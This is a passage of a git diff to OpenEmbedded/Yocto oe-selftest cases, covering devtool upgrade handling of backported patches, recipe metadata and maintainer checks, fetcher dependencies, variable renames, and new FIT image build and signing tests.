self.assertExists(newrecipefile, 'New recipe file should have been copied into existing layer but wasn\'t')
self.assertExists(os.path.join(newdir, patchfn), 'Patch file should have been copied into new directory but wasn\'t')
+ self.assertNotExists(os.path.join(newdir, backportedpatchfn), 'Backported patch file should not have been copied into new directory but was')
self.assertExists(os.path.join(newdir, '0002-Add-a-comment-to-the-code.patch'), 'New patch file should have been created but wasn\'t')
+ with open(newrecipefile, 'r') as f:
+ newcontent = f.read()
+ self.assertNotIn(backportedpatchfn, newcontent, "Backported patch should have been removed from the recipe but wasn't")
+ self.assertIn(patchfn, newcontent, "Old patch should have not been removed from the recipe but was")
+ self.assertIn("0002-Add-a-comment-to-the-code.patch", newcontent, "New patch should have been added to the recipe but wasn't")
+ self.assertIn("http://www.ivarch.com/programs/sources/pv-${PV}.tar.gz", newcontent, "New recipe no longer has upstream source in SRC_URI")
+
def test_devtool_finish_upgrade_otherlayer(self):
- recipe, oldrecipefile, recipedir, olddir, newversion, patchfn = self._setup_test_devtool_finish_upgrade()
+ recipe, oldrecipefile, recipedir, olddir, newversion, patchfn, backportedpatchfn = self._setup_test_devtool_finish_upgrade()
# Ensure the recipe is where we think it should be (so that cleanup doesn't trash things)
self.assertIn('/meta-selftest/', recipedir)
# Try finish to a different layer - should create a bbappend
@@ -1534,10 +1693,18 @@ class DevtoolUpgradeTests(DevtoolBase):
self.assertNotExists(os.path.join(self.workspacedir, 'recipes', recipe), 'Recipe directory should not exist after finish')
self.assertExists(oldrecipefile, 'Old recipe file should not have been deleted')
self.assertExists(os.path.join(olddir, patchfn), 'Old patch file should not have been deleted')
+ self.assertExists(os.path.join(olddir, backportedpatchfn), 'Old backported patch file should not have been deleted')
newdir = os.path.join(newrecipedir, recipe + '-' + newversion)
self.assertExists(newrecipefile, 'New recipe file should have been copied into existing layer but wasn\'t')
self.assertExists(os.path.join(newdir, patchfn), 'Patch file should have been copied into new directory but wasn\'t')
+ self.assertNotExists(os.path.join(newdir, backportedpatchfn), 'Backported patch file should not have been copied into new directory but was')
self.assertExists(os.path.join(newdir, '0002-Add-a-comment-to-the-code.patch'), 'New patch file should have been created but wasn\'t')
+ with open(newrecipefile, 'r') as f:
+ newcontent = f.read()
+ self.assertNotIn(backportedpatchfn, newcontent, "Backported patch should have been removed from the recipe but wasn't")
+ self.assertIn(patchfn, newcontent, "Old patch should have not been removed from the recipe but was")
+ self.assertIn("0002-Add-a-comment-to-the-code.patch", newcontent, "New patch should have been added to the recipe but wasn't")
+ self.assertIn("http://www.ivarch.com/programs/sources/pv-${PV}.tar.gz", newcontent, "New recipe no longer has upstream source in SRC_URI")
def _setup_test_devtool_finish_modify(self):
# Check preconditions
@@ -1701,7 +1868,7 @@ class DevtoolUpgradeTests(DevtoolBase):
when building the kernel.
"""
kernel_provider = get_bb_var('PREFERRED_PROVIDER_virtual/kernel')
- # Clean up the enviroment
+ # Clean up the environment
bitbake('%s -c clean' % kernel_provider)
tempdir = tempfile.mkdtemp(prefix='devtoolqa')
tempdir_cfg = tempfile.mkdtemp(prefix='config_qa')
diff --git a/meta/lib/oeqa/selftest/cases/diffoscope/A/file.txt b/meta/lib/oeqa/selftest/cases/diffoscope/A/file.txt
new file mode 100644
index 0000000000..f70f10e4db
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/diffoscope/A/file.txt
@@ -0,0 +1 @@
+A
diff --git a/meta/lib/oeqa/selftest/cases/diffoscope/B/file.txt b/meta/lib/oeqa/selftest/cases/diffoscope/B/file.txt
new file mode 100644
index 0000000000..223b7836fb
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/diffoscope/B/file.txt
@@ -0,0 +1 @@
+B
diff --git a/meta/lib/oeqa/selftest/cases/distrodata.py b/meta/lib/oeqa/selftest/cases/distrodata.py
index 68ba556485..03f31e9fcb 100644
--- a/meta/lib/oeqa/selftest/cases/distrodata.py
+++ b/meta/lib/oeqa/selftest/cases/distrodata.py
@@ -18,7 +18,7 @@ class Distrodata(OESelftestTestCase):
Product: oe-core
Author: Alexander Kanavin <alex.kanavin@gmail.com>
"""
- feature = 'LICENSE_FLAGS_WHITELIST += " commercial"\n'
+ feature = 'LICENSE_FLAGS_ACCEPTED += " commercial"\n'
self.write_config(feature)
pkgs = oe.recipeutils.get_recipe_upgrade_status()
@@ -40,10 +40,47 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
""" + "\n".join(regressed_successes)
self.assertTrue(len(regressed_failures) == 0 and len(regressed_successes) == 0, msg)
+ def test_missing_homepg(self):
+ """
+ Summary: Test for oe-core recipes that don't have a HOMEPAGE or DESCRIPTION
+ Expected: All oe-core recipes should have a DESCRIPTION entry
+ Expected: All oe-core recipes should have a HOMEPAGE entry except for recipes that are not fetched from external sources.
+ Product: oe-core
+ """
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=False)
+ no_description = []
+ no_homepage = []
+ for fn in tinfoil.all_recipe_files(variants=False):
+ if not '/meta/recipes-' in fn:
+ # We are only interested in OE-Core
+ continue
+ rd = tinfoil.parse_recipe_file(fn, appends=False)
+ pn = rd.getVar('BPN')
+ srcfile = rd.getVar('SRC_URI').split()
+ #Since DESCRIPTION defaults to SUMMARY if not set, we are only interested in recipes without DESCRIPTION or SUMMARY
+ if not (rd.getVar('SUMMARY') or rd.getVar('DESCRIPTION')):
+ no_description.append((pn, fn))
+ if not rd.getVar('HOMEPAGE'):
+ if srcfile and srcfile[0].startswith('file') or not rd.getVar('SRC_URI'):
+ # We are only interested in recipes SRC_URI fetched from external sources
+ continue
+ no_homepage.append((pn, fn))
+ if no_homepage:
+ self.fail("""
+The following recipes do not have a HOMEPAGE. Please add an entry for HOMEPAGE in the recipe.
+""" + "\n".join(['%s (%s)' % i for i in no_homepage]))
+
+ if no_description:
+ self.fail("""
+The following recipes do not have a DESCRIPTION. Please add an entry for DESCRIPTION in the recipe.
+""" + "\n".join(['%s (%s)' % i for i in no_description]))
+
def test_maintainers(self):
"""
- Summary: Test that oe-core recipes have a maintainer
+ Summary: Test that oe-core recipes have a maintainer and entries in maintainers list have a recipe
Expected: All oe-core recipes (except a few special static/testing ones) should have a maintainer listed in maintainers.inc file.
+ Expected: All entries in maintainers list should have a recipe file that matches them
Product: oe-core
Author: Alexander Kanavin <alex.kanavin@gmail.com>
"""
@@ -54,7 +91,15 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
return True
return False
- feature = 'require conf/distro/include/maintainers.inc\n'
+ def is_maintainer_exception(entry):
+ exceptions = ["musl", "newlib", "linux-yocto", "linux-dummy", "mesa-gl", "libgfortran",
+ "cve-update-db-native", "rust"]
+ for i in exceptions:
+ if i in entry:
+ return True
+ return False
+
+ feature = 'require conf/distro/include/maintainers.inc\nLICENSE_FLAGS_ACCEPTED += " commercial"\nPARSE_ALL_RECIPES = "1"\nPACKAGE_CLASSES = "package_ipk package_deb package_rpm"\n'
self.write_config(feature)
with bb.tinfoil.Tinfoil() as tinfoil:
@@ -62,6 +107,11 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
with_maintainer_list = []
no_maintainer_list = []
+
+ missing_recipes = []
+ recipes = []
+ prefix = "RECIPE_MAINTAINER:pn-"
+
# We could have used all_recipes() here, but this method will find
# every recipe if we ever move to setting RECIPE_MAINTAINER in recipe files
# instead of maintainers.inc
@@ -71,6 +121,7 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
continue
rd = tinfoil.parse_recipe_file(fn, appends=False)
pn = rd.getVar('PN')
+ recipes.append(pn)
if is_exception(pn):
continue
if rd.getVar('RECIPE_MAINTAINER'):
@@ -78,6 +129,15 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
else:
no_maintainer_list.append((pn, fn))
+ maintainers = tinfoil.config_data.keys()
+ for key in maintainers:
+ if key.startswith(prefix):
+ recipe = tinfoil.config_data.expand(key[len(prefix):])
+ if is_maintainer_exception(recipe):
+ continue
+ if recipe not in recipes:
+ missing_recipes.append(recipe)
+
if no_maintainer_list:
self.fail("""
The following recipes do not have a maintainer assigned to them. Please add an entry to meta/conf/distro/include/maintainers.inc file.
@@ -87,3 +147,8 @@ The following recipes do not have a maintainer assigned to them. Please add an e
self.fail("""
The list of oe-core recipes with maintainers is empty. This may indicate that the test has regressed and needs fixing.
""")
+
+ if missing_recipes:
+ self.fail("""
+Unable to find recipes for the following entries in maintainers.inc:
+""" + "\n".join(['%s' % i for i in missing_recipes]))
diff --git a/meta/lib/oeqa/selftest/cases/eSDK.py b/meta/lib/oeqa/selftest/cases/eSDK.py
index 862849af35..f7279b3230 100644
--- a/meta/lib/oeqa/selftest/cases/eSDK.py
+++ b/meta/lib/oeqa/selftest/cases/eSDK.py
@@ -63,7 +63,7 @@ class oeSDKExtSelfTest(OESelftestTestCase):
cls.env_eSDK = oeSDKExtSelfTest.get_esdk_environment('', cls.tmpdir_eSDKQA)
sstate_config="""
-SDK_LOCAL_CONF_WHITELIST = "SSTATE_MIRRORS"
+ESDK_LOCALCONF_ALLOW = "SSTATE_MIRRORS"
SSTATE_MIRRORS = "file://.* file://%s/PATH"
CORE_IMAGE_EXTRA_INSTALL = "perl"
""" % sstate_dir
@@ -91,7 +91,7 @@ CORE_IMAGE_EXTRA_INSTALL = "perl"
# Configure eSDK to use sstate mirror from poky
sstate_config="""
-SDK_LOCAL_CONF_WHITELIST = "SSTATE_MIRRORS"
+ESDK_LOCALCONF_ALLOW = "SSTATE_MIRRORS"
SSTATE_MIRRORS = "file://.* file://%s/PATH"
""" % bb_vars["SSTATE_DIR"]
with open(os.path.join(cls.tmpdir_eSDKQA, 'conf', 'local.conf'), 'a+') as f:
@@ -100,7 +100,7 @@ SSTATE_MIRRORS = "file://.* file://%s/PATH"
@classmethod
def tearDownClass(cls):
for i in range(0, 10):
- if os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'bitbake.lock')):
+ if os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'bitbake.lock')) or os.path.exists(os.path.join(cls.tmpdir_eSDKQA, 'cache/hashserv.db-wal')):
time.sleep(1)
else:
break
diff --git a/meta/lib/oeqa/selftest/cases/efibootpartition.py b/meta/lib/oeqa/selftest/cases/efibootpartition.py
index a61cf9bcb3..26de3a07c9 100644
--- a/meta/lib/oeqa/selftest/cases/efibootpartition.py
+++ b/meta/lib/oeqa/selftest/cases/efibootpartition.py
@@ -26,11 +26,11 @@ class GenericEFITest(OESelftestTestCase):
self.write_config(self,
"""
EFI_PROVIDER = "%s"
-IMAGE_FSTYPES_pn-%s_append = " wic"
+IMAGE_FSTYPES:pn-%s:append = " wic"
MACHINE = "%s"
-MACHINE_FEATURES_append = " efi"
+MACHINE_FEATURES:append = " efi"
WKS_FILE = "efi-bootdisk.wks.in"
-IMAGE_INSTALL_append = " grub-efi systemd-boot kernel-image-bzimage"
+IMAGE_INSTALL:append = " grub-efi systemd-boot kernel-image-bzimage"
"""
% (self.efi_provider, self.image, self.machine))
if not self.recipes_built:
diff --git a/meta/lib/oeqa/selftest/cases/fetch.py b/meta/lib/oeqa/selftest/cases/fetch.py
index 76cbadf2ff..be14272e63 100644
--- a/meta/lib/oeqa/selftest/cases/fetch.py
+++ b/meta/lib/oeqa/selftest/cases/fetch.py
@@ -2,6 +2,9 @@
# SPDX-License-Identifier: MIT
#
+import tempfile
+import textwrap
+import bb.tinfoil
import oe.path
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import bitbake
@@ -21,8 +24,8 @@ class Fetch(OESelftestTestCase):
# No mirrors, should use git to fetch successfully
features = """
DL_DIR = "%s"
-MIRRORS_forcevariable = ""
-PREMIRRORS_forcevariable = ""
+MIRRORS:forcevariable = ""
+PREMIRRORS:forcevariable = ""
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
@@ -32,8 +35,8 @@ PREMIRRORS_forcevariable = ""
features = """
DL_DIR = "%s"
GIT_PROXY_COMMAND = "false"
-MIRRORS_forcevariable = ""
-PREMIRRORS_forcevariable = ""
+MIRRORS:forcevariable = ""
+PREMIRRORS:forcevariable = ""
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
@@ -44,8 +47,60 @@ PREMIRRORS_forcevariable = ""
features = """
DL_DIR = "%s"
GIT_PROXY_COMMAND = "false"
-MIRRORS_forcevariable = "git://.*/.* http://downloads.yoctoproject.org/mirror/sources/"
+MIRRORS:forcevariable = "git://.*/.* http://downloads.yoctoproject.org/mirror/sources/"
""" % dldir
self.write_config(features)
oe.path.remove(dldir, recurse=True)
bitbake("dbus-wait -c fetch -f")
+
+
+class Dependencies(OESelftestTestCase):
+ def write_recipe(self, content, tempdir):
+ f = os.path.join(tempdir, "test.bb")
+ with open(f, "w") as fd:
+ fd.write(content)
+ return f
+
+ def test_dependencies(self):
+ """
+ Verify that the correct dependencies are generated for specific SRC_URI entries.
+ """
+
+ with bb.tinfoil.Tinfoil() as tinfoil, tempfile.TemporaryDirectory(prefix="selftest-fetch") as tempdir:
+ tinfoil.prepare(config_only=False, quiet=2)
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="http://example.com/tarball.zip"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("unzip-native", d.getVarFlag("do_unpack", "depends"))
+
+ # Verify that the downloadfilename overrides the URI
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="https://example.com/tarball;downloadfilename=something.zip"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("unzip-native", d.getVarFlag("do_unpack", "depends") or "")
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="ftp://example.com/tarball.lz"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("wget-native", d.getVarFlag("do_fetch", "depends"))
+ self.assertIn("lzip-native", d.getVarFlag("do_unpack", "depends"))
+
+ r = """
+ LICENSE="CLOSED"
+ SRC_URI="git://example.com/repo;branch=master"
+ """
+ f = self.write_recipe(textwrap.dedent(r), tempdir)
+ d = tinfoil.parse_recipe_file(f)
+ self.assertIn("git-native", d.getVarFlag("do_fetch", "depends"))
diff --git a/meta/lib/oeqa/selftest/cases/fitimage.py b/meta/lib/oeqa/selftest/cases/fitimage.py
new file mode 100644
index 0000000000..f6f6a8e795
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/fitimage.py
@@ -0,0 +1,840 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var, runqemu
+import os
+import json
+import re
+
+class FitImageTests(OESelftestTestCase):
+
+ def test_fit_image(self):
+ """
+ Summary: Check if FIT image and Image Tree Source (its) are built
+ and the Image Tree Source has the correct fields.
+ Expected: 1. fitImage and fitImage-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of kernel and ramdisk are as expected
+ in the Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between different
+ architectures.
+ Product: oe-core
+ Author: Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# Enable creation of fitImage
+KERNEL_IMAGETYPE = "Image"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage "
+
+# RAM disk variables including load address and entrypoint for kernel and RAM disk
+IMAGE_FSTYPES += "cpio.gz"
+INITRAMFS_IMAGE = "core-image-minimal"
+UBOOT_RD_LOADADDRESS = "0x88000000"
+UBOOT_RD_ENTRYPOINT = "0x88000000"
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+FIT_DESC = "A model description"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "fitImage-its-%s-%s-%s" % (image_type, machine, machine))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "fitImage-%s-%s-%s" % (image_type, machine, machine))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "kernel";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'type = "ramdisk";',
+ 'load = <0x88000000>;',
+ 'entry = <0x88000000>;',
+ 'default = "conf-1";',
+ 'kernel = "kernel-1";',
+ 'ramdisk = "ramdisk-1";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+
+ def test_sign_fit_image(self):
+ """
+ Summary: Check if FIT image and Image Tree Source (its) are created
+ and signed correctly.
+ Expected: 1) its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by UBOOT_SIGN_ENABLE (using keys generated
+ via FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present (including for images as enabled via
+ FIT_SIGN_INDIVIDUAL)
+ 4) Examination of the do_assemble_fitimage runfile/logfile
+ indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN and
+ UBOOT_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Paul Eggleton <paul.eggleton@microsoft.com> based upon
+ work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# Enable creation of fitImage
+MACHINE = "beaglebone-yocto"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart comment'"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "fitImage-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "fitImage-%s.bin" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'kernel-1'],
+ ['/', 'images', 'kernel-1', 'signature-1'],
+ ['/', 'images', 'fdt-am335x-boneblack.dtb'],
+ ['/', 'images', 'fdt-am335x-boneblack.dtb', 'signature-1'],
+ ['/', 'configurations', 'conf-am335x-boneblack.dtb'],
+ ['/', 'configurations', 'conf-am335x-boneblack.dtb', 'signature-1'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature-1':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"img-oe-selftest"',
+ }
+ reqsigvalues_config = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"cfg-oe-selftest"',
+ 'sign-images': '"kernel", "fdt"',
+ }
+
+ for itspath, values in sigs.items():
+ if 'conf-' in itspath:
+ reqsigvalues = reqsigvalues_config
+ else:
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Configuration', ' Image')):
+ in_signed = re.search('\((.*)\)', line).groups()[0]
+ elif re.match('^ *', line) in (' ', ''):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('kernel-1', signed_sections)
+ self.assertIn('fdt-am335x-boneblack.dtb', signed_sections)
+ self.assertIn('conf-am335x-boneblack.dtb', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ if signed_section.startswith("conf"):
+ self.assertEqual(value, 'sha256,rsa2048:cfg-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ else:
+ self.assertEqual(value, 'sha256,rsa2048:img-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for UBOOT_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/kernel | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart comment" %s/run.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+ def test_uboot_fit_image(self):
+ """
+ Summary: Check if Uboot FIT image and Image Tree Source
+ (its) are built and the Image Tree Source has the
+ correct fields.
+ Expected: 1. u-boot-fitImage and u-boot-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of U-boot image are correct in the
+ Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between
+ different architectures.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com>
+ based on work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# We need at least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+
+# Enable creation of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+
+# (U-boot) fitImage properties
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+UBOOT_FIT_DESC = "A model description"
+
+# Enable creation of Kernel fitImage
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage"
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "standalone";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'default = "conf";',
+ 'loadables = "uboot";',
+ 'fdt = "fdt";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+ def test_uboot_sign_fit_image(self):
+ """
+ Summary: Check if Uboot FIT image and Image Tree Source
+ (its) are built and the Image Tree Source has the
+ correct fields, in the scenario where the Kernel
+ is also creating/signing it's fitImage.
+ Expected: 1. u-boot-fitImage and u-boot-its can be built
+ 2. The type, load address, entrypoint address and
+ default values of U-boot image are correct in the
+ Image Tree Source. Not all the fields are tested,
+ only the key fields that wont vary between
+ different architectures.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com>
+ based on work by Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# We need at least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+
+# Enable creation of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+
+# (U-boot) fitImage properties
+UBOOT_LOADADDRESS = "0x80080000"
+UBOOT_ENTRYPOINT = "0x80080000"
+UBOOT_FIT_DESC = "A model description"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage test-mkimage-wrapper "
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart U-Boot comment'"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "standalone";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'default = "conf";',
+ 'loadables = "uboot";',
+ 'fdt = "fdt";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+
+ def test_sign_standalone_uboot_fit_image(self):
+ """
